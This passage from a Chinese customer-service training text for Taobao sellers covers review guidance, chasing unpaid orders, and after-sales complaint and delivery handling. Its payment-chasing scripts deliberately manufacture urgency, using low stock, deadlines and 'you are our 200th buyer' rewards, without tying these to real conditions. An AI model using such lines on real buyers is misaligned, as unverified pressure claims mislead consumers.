          在网络交易中,存在交易双方互相评价这一环节,买家可以对店铺的服务、产品的品质、物流等方面的问题进行评价,并可以在店铺中进行公开显示。既然是评价,肯定有好坏之分。由于网络购物看不到实物,因此多数买家会根据他人的评价来决定自己是否购买此产品。为了避免店铺的评分过低而导致买家流失,也为了避免过多的负面评价引起“蝴蝶效应”,而给店铺的运营带来不好的影响,因此,客服人员对订单确认之后,进行评价的引导环节是一定不能省略的,提醒买家满意时请给予店铺5分优质好评,一旦出现了不满意的情况,可随时与客服人员进行联系。力争做到让买家满意为止,尽量保证店铺的评价记录中呈现出多数的满意评价,如图1-48所示。
        image.png

        图1-48 引导评价

          除了正常评价内容所需的要素之外,客服人员也可以引导买家对自身的服务进行评价,这样可以真实地反映出自己的服务在买家心中的满意程度。当收到满意评价时,就可以继续保持这样的服务态度和服务方式,同时精进自己的服务水平。如果收到了差评,首先需要进行自查,有则改之,尽量在日后的工作中避免出现同样的问题。当然,交易双方也可能存在某种误会,或者因为其他原因造成了不愉快,买家带着不满的情绪进行过于主观的评价,言辞可能比较激烈,遇到这种情况,正确的做法应该是解释清楚买家提出的问题,委婉地划清责任,最后希望得到买家的谅解。
          孔子曾经在《论语-子张》中提到过:有始有卒者,其惟圣人乎!这句话的意思是:做,要贯彻始终,坚持到底,不能半途而废。作为在线客服,同样需要做事有始有终,在完成评价引导后,需要做的工作就是有礼貌地与买家进行告别。告别,不仅仅是说声“再见”这么简单,客服人员应该将“买家是上帝”的精神发挥到淋漓尽致的地步,所以需要像对待亲人一般对待店铺的每一位买家。生活中我们与亲友的告别,除了说“再见”以外,关怀和叮嘱的话语也是必不可少的,工作中也应如此。礼貌告别的流程,如图1-49所示。
        image.png

        图1-49 礼貌告别流程

          客服人员可以先提醒买家签收时的一些注意事项,然后提醒买家如果有任何问题可以随时与在线客服进行联系等,这样做既可以体现出客服服务的完整性,也可以减少售后纠纷的发生。接下来,再与买家进行真诚的告别,在感谢买家光顾的同时,对买家进行简单的祝福。至此,完整的销售流程就顺利结束了。
          回顾整个销售接待的流程,不同的买家在交易过程中存在着不同的行为习惯,比如,有些买家已经对产品相当了解了,那么就可能没有“疑问解答”这个环节了;再比如,有些买家喜欢自主下单购物,这时候只需要做好订单确认的工作就可以了。所以在实际的销售接待工作中,针对不同的买家和场景,这几个环节的顺序和次数是可以进行相应调整的,希望大家可以通过自己的掌握程度,灵活地运用这些方法。
          之前我们也一直强调,在线客服人员需要保持良好的服务态度,在沟通中做到足够的亲和感,这样可以快速拉近交易双方彼此之间的距离。如何做到具有亲和力的沟通呢?首先,要尽可能多地使用语气助词来增加语气的缓和度,比如在句尾添加“哦”“呢”等语气助词。其次,要多使用礼貌用语来凸显店铺对服务的重视。俗话说“礼多人不怪”,买家还是比较容易被这种服务所打动的。最后,在回复买家提出的问题时,客服人员回答的字数尽量比买家提问的字数要多,以此来体现对买家的尊重,当然,增加的内容一定要有思维地参与,做到有效地沟通。除此之外,在线客服还可以适当地使用表情符号来协助自己完善地表达出热情的态度,表情符号要比单纯性的文字表现力更强,并且可以提高交流的乐趣,更容易拉近彼此之间的距离。
          沟通无止境,销售有禁忌。在销售环节中,客服人员还需要尽量杜绝这几类问题的发生:第一,直接拒绝买家的所有要求。拒绝也是一门艺术,如果拒绝得太直接,买家会在心理上产生巨大的排斥感,一定要学会委婉地拒绝,给交易双方都留有足够的思考空间。第二,批评、讽刺买家。当买家提出的问题存在错误时,客服人员不能利用自己的专业知识对买家进行嘲讽,需要做的是提供更多人性化的服务。第三,表示或暗示买家不重要。当客服人员认为买家的复购率不高时,可能会对买家提出的一些质疑表现出不耐烦,言语之间透露出一种“有你没你店铺依然存活”的态度,这是万万不可取的,大家一定不要小瞧了口碑的传播力度。第四,出现变故时不及时告知买家。当我们客服人员发现库存、物流等异常问题时,一定要在第一时间及时与买家进行沟通,解释清楚事情的原因,取得买家的原谅,同时做好相应的改善和处理工作,免得等买家找上门时处于被动的位置。
          通过前面几个销售环节的学习,大家应该已经掌握了完整的销售流程及销售技巧,无论是生活或者是工作,大家可能会遇到各种状况,只要能及时调整好心态,迎面去解决,胜利的曙光一定会照耀到我们身上的。

        1.2.6 临门一脚:催付

          1.催付原因
          我们先来了解一下什么是催付。催付是指买家拍下商品后没有付款,在线客服引导买家付款的行为。这一类买家的购物意向非常明确,但往往很多卖家却忽略了这些订单的重要性。在常规交易中,如果买家拍下产品72小时内没有付款,那么这笔订单将被淘宝自动关闭。例如淘抢购、聚划算之类的大活动,如果买家拍下商品后半个小时内不付款,订单就自动关闭了。订单关闭就意味着卖家没有成功卖出产品,那对于整个店铺来说就是销售额上的损失了。
          我们来看一下销售额公式,如图1-50所示。可以看出,其中的“支付转化率”直接影响着销售额。支付转化率就是指成交用户数占访客数的百分比,即成交数/访客数。
          据阿里研究院不完全数据统计,日常拍下未付款的订单占比为9%,在大型活动中不及时付款的订单占比为12%。大家可以算一下,一个日销10万元的店铺,一天没有付款的订单就有1万元,那一个月、一年呢?如果把这些订单拯救过来,店铺又会多出多少销量呢?所以支付转化率对店铺非常重要。
        image.png

        图1-50 销售额公式

          只要有效地做了催付,就可以大大地降低未付款订单的损失。做与不做是一回事,做好做不好又是另一回事。那接下来我们一起看下作为店长作为客服如何做好催付的这项工作呢?
          催付一共分五个步骤,我们称之为催付分五步曲,分别是:挑选订单,分析原因,把握时机,匹配工具,结果备注,如图1-51所示。
        image.png

        图1-51 催付的步骤

          (1)挑选订单
          在催付之前,首先要知道在哪里可以看到这些即将被关闭的订单,有两种方法:第一种是后台订单查看,第二种是后台订单数据下载。下面分别进行讲解。
          第一种后台订单查看操作方法:登录账号→卖家中心→交易管理→已卖出的宝贝→等待买家付款。此时看到的这些订单都是买家拍下后未付款的订单。
          第二种后台订单数据下载操作方法:当订单较多时,还可以导出筛选结果,选择需要查看的订单成交时间段,然后选择订单状态为“等待买家付款”,单击“批量导出”按钮,再单击“生成报表”按钮。报表生成后,单击“下载订单报表”按钮下载订单。这样在线客服人员就可以根据导出的表格进行催单了。
          (2)分析原因
          有了订单信息之后,首先要想一下,买家在拍下后是什么原因导致迟迟没有付款呢?想让买家付款,我们要做的是了解买家未付款的原因,对症下药,而不是盲目地一直催买家付款,反而会让买家反感,起到适得其反的效果。
          我们将买家未付款问题归为两类原因:一类是客观原因,一类是主观原因。

        • 客观原因:操作不熟、忘记密码、余额不足。
        • 主观原因:议价不成功;有所担心;货比三家。
            客观原因造成未付款的应对方法:
        • 新手买家,操作不熟悉。

          我们在接单的过程中,不免会遇到一些新手买家或者一些年纪比较大的买家,这些人对购物流程不熟悉,在第一次支付的时候会遇到各种各样的问题,比如加购物车找不到产品了,优惠券不会领取或地址写错了等。有些买家会主动寻求帮助,但是有的买家不愿意麻烦客服,导致订单最终支付失败了。当遇到这类买家的时候,我们要细心对待,提前准备好操作流程截图,一步步指引买家最终购买支付,而不是让他们联系淘宝小二之类的平台帮助,这样我们就错失了和买家沟通交流建立感情的一次机会了。而且,买家在这一过程中会感受到你对他的真诚和贴心服务,对店铺和客服的印象都会加分,确认收货的时候店铺的DSR评分自然而然就高了。

        • 忘记密码。

          还有一些买家忘记了支付密码,此时需要客服人员耐心帮买家解答,提前做好电脑和手机端找回密码的截图,引导买家最终付款。如果和买家聊天时买家特别信任我们,支付密码忘记了让我们在自己的手机上登录找回密码,这个时候客服人员一定要谨慎哦,虽然买家的最终付款很重要,但是也要保护好自己和店铺的权益,以免遭受经济损失。

        • 支付宝余额不足。

          当遇到和你聊了许久,也有购买意向的买家,但是他在支付的时候发现余额不足了。这个时候可以指引买家通过花呗付款或朋友代付等方式付款;如果买家对这两种支付方式都不选择的话,那就等买家充值完毕后支付,但在这个过程中注意跟进买家,也可以用一些小技巧。
          比如,买家说“我下午再付款”,客服就可以回答:

        亲,您记得3点之前付款的哦,可以安排您的订单今天发出哦+表情。
        亲,您付款的时候记得联系我哦,帮您安排仓库给您送个小礼物,是个小小心意呢+表情。

          如果买家到下午2点前还没付款,这个时候可以给他打个电话,以关心的口吻询问下买家是不是在充值过程中遇到什么问题,再加上以上的催付小技巧。
          主观原因未付款及应对方法:

        议价不成功。买家议价的时候说:“便宜点吧”“包个邮吧”“别人家的比你便宜”。运用买家占便宜的和心理预期价位的心理,去打破买家固有的想法。
        有所担心。如果买家未付款的原因是有所担心,就意味着买家心里存在疑虑,就说明存在品质疑虑、保障疑虑和物流疑虑等问题,我们要做的是解除买家的疑虑。
        货比三家。买家要货比三家,在线客服就要挖掘产品的卖点,从产品本身及服务上去寻找差异化,然后将这些卖点及差异化展现给买家,为本店铺产品加分,吸引买家在本店铺下单。

          当然,除了以上原因外,还会有其他原因,比如拍错了、地址写错了、拍下后商品运费需要改价或者忘记付款了等。客服人员在催付过程会遇到买家的各种问题,俗话说:见招拆招!只要客服人员用心、耐心解答买家问题,并及时提醒和跟踪买家付款状态,那么促使买家付款的几率就会有很大的提升。努力加油吧!
          2.催付时机
          首先我们回顾下催付五步曲,分别是:挑选订单,分析原因,把握时机,匹配工具,结果备注。前面我们讲述了挑选订单和分析原因,下面介绍如何把握催付时机,以及在催付过程中的禁忌。
          (1)把握时机
          为了达到催付的效果,我们要把握催付时机,并运用一定的方法和技巧。下面我们一起学习3个技巧。
          1)技巧一:给买家制造紧迫感。
          可以用发货时间来促使买家付款,如话术:“您好,亲,您在我家拍下的某商品,在下午5点前付款,当天可以发货哦,我看您收货地址就在本省,这样明天就可以收到并使用了哦。”其实际意思就是,如果买家不付款,就有可能要多等几天了。很多买家都是希望早点收到商品的。这样就给买家造成了一种紧迫感,促使买家付款。
          除了发货时间,还可以用库存告急来促使买家付款, 如话术:“恭喜亲抢到了我们家的宝贝,但是您选的这款现在库存不多了,亲要是不付款的话,宝贝很有可能就会被别人抢走哦”。在很多情况下,买家担心自己挑选好的产品最终买不了而选择立刻付款。
          另外,还可以使用活动截止时间来提醒买家尽快付款,如话术:“亲,您拍下的商品正是我们年终感恩回馈活动商品,活动将在明天结束,届时新品都将恢复原价哦。”
          以上几种话术都是紧迫感技巧,通过在线客服营造的紧迫气氛,促使买家付款。
          2)技巧二:享受特权。
          很多时候,买家都是第一次来店里购物,我们可以用首次购物优惠或者送赠品的方法来开头,如话术:“亲爱的,您是第一次在我们店铺购物,我们给每一位新朋友都准备了一份精美的礼物哦。”在这里也不用提付款一事,买家看到了自然就会想起这个订单还未付款。也可以使用第几位买家享受优惠的这种方式,如话术:“亲爱的,您是我们本月第200位买家哦,我们逢百就会返利,机会不容错过哦。”在这种情况下,买家会觉得自己运气好,不想错过这次机会,从而支付订单。
          如果是二次以上来店铺购买的买家,也可以准备老买家专享赠品给买家,如话术:“您好,亲爱的,感谢您再次光顾我们的店铺,掌柜和在线客服部都给您准备了一份礼品,这是我们的一点点心意。”不但起到了催付的作用,还再次加深了买家对店铺的印象。
          3)技巧三:信息核对、产品核对。
          很多买家在淘宝购买商品时,会有多个收货地址,在不同的购买时间或者买不同的商品时会切换到不同的收货地址,这样一来就会发生买家拍下商品后没有选择正确的收货地址的情况。有些时候买家自己会发现留下的收货地址错了要求在线客服帮忙修改,但有些时候买家并没有发现留下的收货地址是误的,这样等货物寄出来后,买家不能顺利签收,严重影响了买家的购物体验,还会延伸出更多的售后问题。所以,在发货前,在线客服需要与买家进行订单核对。
          买家拍下商品后,除了收货地址会留错外,拍下的商品也有可能会选错,如果没有及时发现,同样会产生不必要的麻烦与损失。既然有这种情况,我们还可以使用核对产品属性的方法,提醒买家付款。核对产品和地址可以在买家拍下商品付款前进行,在千牛工作台右侧可以快捷发送,并且除了有核单的功能,还有提醒买家付款的功能。
          只要买家回复了,催付的第一步就成功了。不管买家回复了什么内容,我们重新发起与买家沟通的目的就达到了。
          在运用催付技巧的时候,也要注意一些催付禁忌,如表1-2所示。

        表1-2 催付时间表

        image.png
          理论上是越早越好,但不一定就是买家拍下产品后,越快催付越好,也要看当时的具体情况,如果没有注意催付时间的话,很有可能会给交易带来不利影响。比如,在线客服早上抓取订单时,发现买家在凌晨3点拍下了一款产品,然后就打电话过去,此时买家很可能还在睡觉,被电话打扰肯定心里不舒服,有可能就会抱怨在线客服,对在线客服的催付是很不利的。
          比如当天抓取订单时发现有11点前的订单,那么在线客服可以先等等,在下午15点前进行催付,因为买家可能比较忙,要给买家一点时间去完成付款,以便来得及在发货时间前能付款成功。再比如下午15点前的订单,这个时候一般是卖家的发货时间临界点,可以提醒买家,付款后当天就可以发货。对于晚上22点前拍下的订单,建议登记下来后第二天进行催付,不建议晚上打扰买家。
          另外,对于两次以上购买的买家,这类买家的特殊性是对店铺信任,了解商品,所以在线客服不必太着急去催付,如果是日常交易,建议在交易关闭前的24小时内进行催付。这时客服的话术最好带一些感情,如可以问一下之前的产品使用感受等,再次提高买家的好感度。
          (2)注意频率
          不要用同一种方法重复催付,并且催付的频率不要太高,要把握分寸,如果买家实在是不想购买,那么就留下一个好的印象,等待买家下次光临,有时候适当撤退也有价值的。例如,有一个拍下50卷卫生卷纸并没有付款的买家,不同经验的客服在处理方法上有很大的差别,我们可以对比下。小美客服遇到这种订单时选择给买家打电话进行催单,发现对方是一个女买家,在她找家人代付的时候,她的家人说已经在超市买了,所以就先不买了,但是小美客服还是不遗余力地向买家介绍这次活动有多优惠,反而引起了买家的反感;但是小花客服却对买家说:“没事的,亲,你可以收藏下店铺,我们加下好友,等您用完了,下次有活动的时候我通知您”这样做会给买家留下一个很好的印象。
          催付过程中是把握时机,运用一些技巧,才能增加催付的转化率,进而达到最终提高销售额的效果。
          3.催付方式
          前面我们分别讲述了催付五步曲中的挑选订单、分析原因和催付时机,下面介绍匹配工具和结果备注。
          当在线客服联系买家了解原因并进行催付时,需要选择好催付工具。一般有3种方式可以选择:千牛、短信和电话。每种方式有自己的优缺点,我们一起了解下吧。
          (1)千牛
          千牛工作台是在线客服最常用的工具,免费、成本低、使用方便,买家可以随时操作付款,如图1-52所示。
          千牛工作台唯一的不足是:买家不在线时,所发送的信息不能保证买家能够及时收到。
        image.png

        图1-52 千牛聊天工具

          下面介绍几种千牛催付的话术:

        • 模板一:亲爱的,您知道我在等您吗?我已整装待发,就差您表态啦!快来付款,给我换张车票,让我来到您的身边吧!记得我在等您哦~
        • 模板二:给小主请安!小主方才在本店挑选的宝贝库存有限,烦请小主尽快从国库调拨银两,小奴好尽快将所爱之物快马加鞭呈递小主!
        • 模板三:嘤嘤嘤,撩过宝宝后亲亲就放弃了宝宝么,宝宝依然在原地等亲哦,亲亲12点前的订单下午发走哦,亲赶快把我领走吧~~
            在线客服在工作的过程中会遇到各种买家,有的时候买家的回家会让我们哭笑不得,一起来看下催付中的糟点吧~

          —客服:亲,您好,请问您下蛋了吗?(下单)
          —买家:……(蛋碎中)
          —买家:有大妈吗?(大码)
          —客服:亲,客服最大的27岁
          —买家:你能活到付款吗?(货到付款)
          —客服:亲,我尽量~
          —买家:一口气买了五件,能幽会吗?(优惠)
          —客服:亲,吃个饭应该还是可以的~
          —买家:亲,给我保佑吧~(包邮)
          —客服:啊!我不是菩萨
          (2)短信
          现在每个人都随身携带手机,所以短信的及时阅读率比较高。短信跟千牛软件不一样, 通常,短信是卖家发给买家的,而买家很少会回复短信,所以编辑的短信内容一定要全面,要一看就懂,但是因为短信字数有限制,并且又要在少量的文字里面包含更多的信息,所以最好的催付短信内容应包含以下4要素。

        • 店铺:首先需要让买家知道是谁找他,买家不一定只在我们的店铺买了东西,如果连店铺名称都没有,很难保证买家看到消息后能知道是我们的店铺在提醒他,难免会替他人作嫁衣。另外,加入店铺名称还会起到宣传店铺的作用。
        • 产品:说了店铺名称不一定能让买家想起他在网上购买了什么商品,所以还需要在短信内容中加入买家所购买的商品名称,当然涉及个人隐私类等特殊商品另作考虑。
        • 时间:让买家知道他在什么时候买的这款产品,进一步加深买家购买时的记忆。
        • 技巧:最后还有一项就是前面提到的技巧,也是最重要的一点,技巧有紧迫感、享受特权、信息核对等。
            话术要点:
        • 内容:前7个字出现买家名字,之后简明、扼要说完发短信的目的,期间要体现店铺名字和买家购买的商品。
        • 适用对象:上班族、学生及其他买家。
        • 注意事项:注意发送频率不要过高,短信字数最好在70字内。
            话术案例:

          模板一:XX美女,你于X月X日在XX包包店看中了我,但是你还没付款,我好可怜,快快付款把我带回家陪你吧,等你哟!
          模版二:您好(真实名字),我是店铺的客服。您在活动中抢到了我们的宝贝,您这边还没有付款,再过一会就要自动关闭交易了呢,机会难得,快来带走您心爱的宝贝吧。
          (3)电话
          除了千牛和短信外,常用的催付工具还有电话,并且对于订单总额较大的买家也推荐使用电话方式,因为电话沟通效果比较好,买家的体验度也比较高;但是时间成本比较高,所以选择在大额订单及老买家订单中使用。
          效果:电话沟通方式直接,有效,信息传达准确,买家体验好,感觉受到重视,但成本高。
          对象:大单买家、不使用阿里旺旺的买家。
          电话的催付话术同样需要短信内容中的四要素。另外,电话催付的注意要点如下:

        • 自我介绍。需要自报家门,让买家知道你是谁,为什么打这个电话,让买家接受你,愿意接听这个电话。
        • 礼貌、亲切。在交谈中,以买家为中心,不能一味地催促买家付款,并且要保证打电话不会影响买家的日常生活;应控制语速,让买家能够清楚地听清你的内容,如果买家听不清就会影响通话质量。

          电话催付参考话术模板:
          卖家:“您好,请问是王丽女士吗?”
          买家:“是啊,你是哪位?”
          卖家:“您好,我是淘宝X店铺客服乐乐,您在我们店铺拍下的真丝四件套还没有支付,我们五一期间购买真丝四件套前10名的买家,会额外再赠送一对枕套,所以想提醒您尽快支付,不要错过这个优惠。如果在支付中有什么操作问题,可以向我们客服咨询哈。”
          买家:“嗯,好,我知道了,我当时拍完了,刚好有点事就还没有支付,我等下会上线支付的。你们送的枕套也是真丝的吗?”
          卖家:“赠送的枕套不是真丝的,是纯棉的,不过有很多花色可以选择。但是每款花色的数量不多,你付款越早,就可以越早挑选自己喜欢的颜色呢。”
          买家:“行,我等下会上线联系你。”
          卖家:“好的,那感谢您对本店的支持,祝您购物愉快,再见。”
          可以根据情况合理使用三种常用工具,比如买家在收获地址中只留了座机号码,那么我们只能选择千牛或者电话,当买家在线时,我们可以首先利用千牛来进行催付。
          如图1-53所示为短信与电话关怀优劣对比图。
          在线客服在与买家的沟通中,有时候需要对买家的情况做一些记录,这些记录可以给店铺内其他同事看,也可以给自己看。订单备注在任何订单状态下都可以添加和修改,比如发货前买家指定了发顺丰到付,在线客服就可以在这个订单上备注“ 发顺丰,运费到付”,在仓库打单发货时,看到了该备注就不会发错快递,避免问题的发生。
        image.png

        图1-53 短信与电话关怀优劣对比图

          订单备注可以在两个地方操作:即千牛和卖家中心。

        • 千牛备注:在与订单对应的买家对话框右侧,可以对该订单进行备注,有5种颜色的旗子供客服人员选择,根据店铺要求,同类问题使用相同的旗子,以便快速定位、查阅。
        • 后台备注:在卖家中心的已卖出的宝贝页面,每个订单的右上角都有一个默认的灰色旗子,如单击灰色旗子,将进入备注页面,与千牛备注一样,填写备注内容,选择旗子颜色,单击“确定”按钮即可。

        1.3 售 中 客 服

          所谓售中客服,就是从买家付款后到收到货之前的这个环节中为买家提供相关服务的客服。
          售中客服主要处理查询订单状态、换货、更改物流和取消订单等工作,如图1-54所示。售中客服主要是维护性工作,熟练订单和物流的查询及买家安抚技巧,就基本可以胜任该项工作。因此这里不对“售中客服”内容展开讲解。
        image.png

        图1-54 售中客服工作流程图

        1.4 售 后 客 服

          所谓售后客服,就是从收到货之后,为买家提供相关服务的客服。如图1-55所示为售后客服工作流程图。
        image.png

        图1-55 售后客服工作流程图

          下面,我们将对部分环节进行重点介绍。

        1.4.1 售后客服工作要领

          首先,我们来思考一下,一个店铺所追求的目标是什么?
          毋庸置疑,一定是好的销售额。而要达到这个目标,就要通过提高店铺的客流量、转化率、复购率、客单价、DSR评分及优质评价等指标来实现。而作为售后客服人员,在其中扮演着举足轻重的角色。售后服务,主要是指买家购买的商品在发货以后所进行的一系列销售服务,包括物流跟踪、产品答疑、购物纠纷解决等。对店铺而言,好的售后服务,可以提高买家的满意度,从而获得优质的口碑,提升品牌形象。同样,好的售后服务,可以提升复购率,降低店铺的负面影响,最终提升店铺的整体水平。
          要成功地处理买家投诉,先要找到最合适的方式与买家进行交流。很多客服人员都会有这样的感受:买家在投诉时会表现出情绪激动、愤怒,甚至对你破口大骂的现象。而这实际上是一种发泄。把自己的怨气和不满发泄出来,买家不快的心情得到释放和缓解,从而维持了心理平衡。此时,买家最希望得到的是客服人员的同情、尊重和重视,因此,应该立即向其表示道歉,并采取相应的措施。
          第一,快速反应态度好。
          买家认为商品有问题,一般会比较着急,怕问题不能得到解决,而且也不会太高兴。这个时候售后客服要快速做出反应,记下他的问题,及时查询问题发生的原因,及时帮助买家解决问题。有些问题虽然不能够马上解决,也要告诉买家我们现在就处理。
          第二,要耐心聆听买家诉求。
          买家投诉商品有问题时,不要着急去辩解,而是要耐心听清楚问题所在,然后记录下买家的用户名,购买的商品,这样便于我们去回忆当时的情形。和买家一起分析问题出在哪里,才能有针对性地找到解决问题的办法。在倾听买家投诉的时候,不但要听他表达的内容,还要注意他的语调与音量,这有助于了解买家语言背后的内在情绪,确保你真正了解买家的问题。
          买家在投诉时会表现出烦恼、失望、泄气、愤怒等各种情绪,你不应当把这些情绪看成是对你个人的不满,特别是当买家发怒时,你可能会想:“我的态度这么好,凭什么对我发火?要知道,愤怒的情感通常都会在潜意识中通过一个载体来发泄。假如你此时正踩在一块石子上,你会对石头发火,飞起一脚把它踢得远远的,尽管这不是石头的错。因此,买家仅仅是把你当成了发泄对象而已。
          买家的不满情绪是完全有理由的,理应得到极大的重视和最迅速、合理的解决。所以你要让买家知道你非常了解他的心情,关心他的问题:“对不起,让您感到不愉快了,我非常理解您此时的感受。”无论买家是否是对的,至少在买家的世界里,他的情绪与要求是真实的,客服人员只有与买家的世界同步,才有可能真正了解他反映的问题,找到最合适的方式与他交流,从而为买家的投诉处理奠定基础。
          第三,安抚解释有技巧。
          首先我们要站在买家的角度想问题,买家一般不会无理取闹的,他来反映一个问题时,我们要先想一下,如果是自己遇到这个问题会怎么做,怎么解决,所以要跟买家说:
          “我同意您的看法”“我也是这么想的”,这样买家会感觉到你是在为她处理问题,会让买家对你的信任更多。要和买家站在同一个角度看待问题,比如说一些类似“是不是这样子的呢?”“您觉得呢?”的话。另外,在沟通的时候称呼也很重要,有的店铺,客服不是只有一个人,所以对自己这边的称呼要以“我们”来称呼,和买家也可以用“我们”来说,如“我们分析一下这个问题”“我们看看……”这样会更亲近一些。对买家也要以“您”来称呼,不要一口一个“你”,这样既不专业,也没礼貌。
          第四,诚恳道歉求谅解。
          不管是因为什么原因造成买家的不满,都要诚恳地向买家致歉,对因此给买家造成的不快和损失道歉。如果你已经非常诚恳地向买家道歉并认识到自己的不足,买家一般会慢慢消气的。
          第五,提出补救措施。
          对于买家的不满,要能及时提出补救的方式,并且明确地告诉买家,让买家感觉到你在为他考虑,为他弥补,并且你很重视他。一个及时有效的补救措施,往往能让买家的不满化成感谢和情意。
          针对买家投诉,每个公司都应有各种预案或解决方案。客服人员在提供解决方案时要注意以下几点:

        • 为买家提供选择方案。通常一个问题的解决方案都不是唯一的,给买家提供选择方案会让买家感到受尊重,同时,买家选择的解决方案在实施的时候也会得到来自买家方更多的认可和配合。
        • 诚实地向买家承诺。如果问题比较复杂或特殊,客服人员不确定该如何为买家解决。此时不要向买家作任何承诺,诚实地告诉买家,你会尽力寻找解决的方法,并约定给买家回话的时间。而你一定要确保准时给买家回话,即便到时你仍不能解决问题,也要向买家解释问题处理进展,并再次约定答复时间。你的诚实会更容易得到买家的理解和尊重。
        • 适当地给买家一些补偿。为弥补买家的一些失误,可以在解决问题之外,给买家一些额外补偿。很多企业都会给客服人员一定授权,以灵活处理此类问题。但要注意的是:将问题解决后,一定要改进工作,以避免今后发生类似的问题。有些处理投诉的部门,面对投诉时首先想到用小恩小惠息事宁人,也有一些处理投诉的部门一定要到买家投诉时才给买家应得的利益,这样并没有从根本上减少投诉问题的发生。

          第六,执行措施要及时,跟进求反馈。纠纷处理时注意的禁忌,如图1-56所示。
          给买家采取什么样的补救措施,现在进行到了哪一步,这些情况都应该告知买家,让他了解你的工作,了解你为他付出的努力。当买家发现商品出现问题后,首先担心的是能不能得到解决,其次担心需要多长时间才能解决,当买家发现补救措施及时有效,而且商家也很重视的时候,就会感到放心。
        image.png

        图1-56 纠纷处理时禁忌

        1.4.2 查件及查单处理

          如何处理买家对物流问题的反馈,即我们通常说的查单、查件呢?。一般,我们把与物流相关的一系列问题分为两大类,如图1-57所示。
          第一类就是未发货的状态。这类问题多出现在买家付款完成后。这时候,我们通常会遇到买家咨询以下问题,例如:
          什么时候发货?发什么快递?几天可以到达?
        image.png

        图1-57 查件或查单原因

          以上问题,可以总结为买家的催发货问题。买家催发货是店铺经营中很常见的问题,如果客服处理不好,那么接下来店铺很有可能面临退款、退货、差评等问题。接下来介绍遇到买家催发货情况的解决方法!
          首先来了解卖家未超期,买家催发货的情况。
          如果是卖家未超期,买家进行催发货,这个问题是比较好解决的。通常情况下,淘宝客服只需安抚买家,就能解决问题。
          PS:淘宝客服一定要注意沟通时的态度,以免因说话不当,得罪买家!
          【例1】买家:请问,我昨天拍下的宝贝多久发货呢?
          客服:我们店铺承诺发货时间是48小时内发货,应该快了,您再等等吧!
          【例2】买家:我想问一下,我昨天拍下的宝贝多久发货呢?
          客服:亲,您好!小店承诺发货时间为48小时内发货,发货是根据拍下时间依次
          发货的,如果您比较急需商品,小的马上帮您备注,帮您加急处理,请耐心等等哟!
          各位卖家是觉得【例1】比较妥当还是【例2】比较妥当?答案当然是【例2】。如果是用【例1】处理问题,那么淘宝店铺迟早会关门大吉。虽说卖家未超期发货,可当买家催发货时,淘宝客服依旧应该耐心、细心地为买家解决困扰!
          另外,还有一种是卖家超期、买家催发货的情况:
          未按约定时间发货、拒绝发货、虚假发货、包邮商品不符合发货条件等,根据《淘宝规则》都属于违规情况,买家有权进行投诉。因此,如果卖家超期未发货,淘宝客服一定要谨慎解决,不然买家一旦投诉,店铺面临的将是扣分!
          店铺一旦出现超期未发货的情况,淘宝客服一定要主动联系买家进行沟通并说明未发货的原因,寻求买家的谅解。
          【错误示例】买家:店铺承诺48小时发货,为什么现在还不发货?

                   客服:我帮你催一下。

          【正确示例】买家:店铺承诺48小时发货,为什么现在还不发货?
        客服:亲,很抱歉,店铺因为库存错误导致商品不够,影响发货!给亲带来了极大的不便,在此我们致以最诚挚的歉意,现在店铺已经加班加点处理,承诺在24小时内发货,如果亲不能接受,请申请退款,我们将马上进行处理;如果亲可以接受,发货后我们将送上小礼品,以此表达我们的歉意!
          以上所说的是第一类未发货状态下可能出现的物流问题。那么第二类问题就是卖家已发货、等待买家收货状态下常遇到的物流问题。较为常见的引起查单、查件的售后问题有以下几种,解决办法如图1-58所示。

        • 快递已显示签收,但非本人签收;
        • 疑难件无法派送;
        • 超区件无法送达;
        • 不可抗力的自然灾害;
        • 节假日及特殊活动派件时间延长;
        • 快递丢失或破损。

        image.png

        图1-58 售后问题

          当在线售后客服遇到买家因以上问题而产生疑虑或者不满时,我们要做的就是上节内容中讲到的耐心倾听,快速反应,打消买家的疑虑,并帮助买家解决物流产生的具体问题。这是客服的基本素养。针对以上的物流问题,我们逐一来分析应该如何解决:
          第一,快递物流显示草签、代签,本人签收,买家表示未收到商品:本人签收但买家未收到商品的情况是由买家联系快递公司签收,快递公司提供签收底单;草签和代签是需要商家联系快递公司提供签收底单并证实派送前联系过买家,买家同意第三方签收的凭证。通常这种情况可以先看下买家留的地址是不是学校或者单位地址,这类地址一般有门卫代收的情况,可以让买家自行先核实一下;如是家庭住址,可看下是否会有物业保安代收的情况。如果快递公司提供不了第三方签收凭证并且买家未收到商品,一般是直接联系快递公司理赔。物流显示已签收而买家未收到商品这类问题则需要登记并且追踪,这种情况一般只需要跟着淘宝的签收流程走就可以了。
          第二,疑难件,买家信息错误——一般是快递公司与我们联系,通过物流单号上面的公司系统单号告知商家,这单件由于买家手机信息错误无法正常派送,或者买家由于长时间收不到件,查看物流状态显示为疑难件时,便会咨询客服。通常情况下,当地快递公司会留件3天,如果我们在3天内没有提供买家的正确联系方式,那么商品将会被原件退回。当碰到类似情况时,客服就要注意及时收集买家的更新信息,比如确认手机号码、核准收件地址,以及明确可收快递的时间等,并及时反馈给快递公司,督促及时送件。
          第三,超区件无法派送。有些买家所在地相对偏远,没有设置物流配送服务网点,未开通快递送货上门服务,在这种情况下如果出现售后问题,则需要确定两个细节:①是否可以加钱送货或转其他快递。如果可以,为了提高买家的满意度,则可以选择这种方法解决问题;②买家是否可以自提。在路途不远的情况下可以和买家协商解决。特别要注意的是,在做售前工作时,务必注意核对快递是否可以到达所寄地址。
          第四,不可抗力的自然灾害。由于洪水、暴雪等天气原因造成的特殊情况属于不可抗力情况。当出现这种非人为因素造成不能及时派送快递时,一方面要严密关注事态的发展;另一方面应当及时和收件人取得联系、说明原因,并把最新动态共享给买家,如果确实非商家能解决的,则努力寻求买家谅解,并跟进最终的解决处理方案。
          第五,节假日及特殊活动使派件时间延长。在整个电子商务“节日”期间,如双十一”“双十二”等规模较大的促销活动期间,在短时间内会产生大量的商品交易,经常有快递爆仓现象发生,买家有可能对比预期晚到达的快件进行咨询。
          作为客服,应如实回答快递未按约定时间到达的原因。当然,售前客服更应该在节假日及特殊活动期间做好提醒工作,降低售后服务的压力。
          第六,快递丢失或破损。由于快递或者第三方不可控因素导致快件在运送过程中丢失或破损等也是经常遇到的情况。当买家因出现上述情况而进行咨询时,买家容易出现急躁不满的情绪,这时客服就需要先安抚买家情绪,然后及时和快递公司确认情况。如果情况属实,就需要及时回复买家,并做好后续的补救工作。
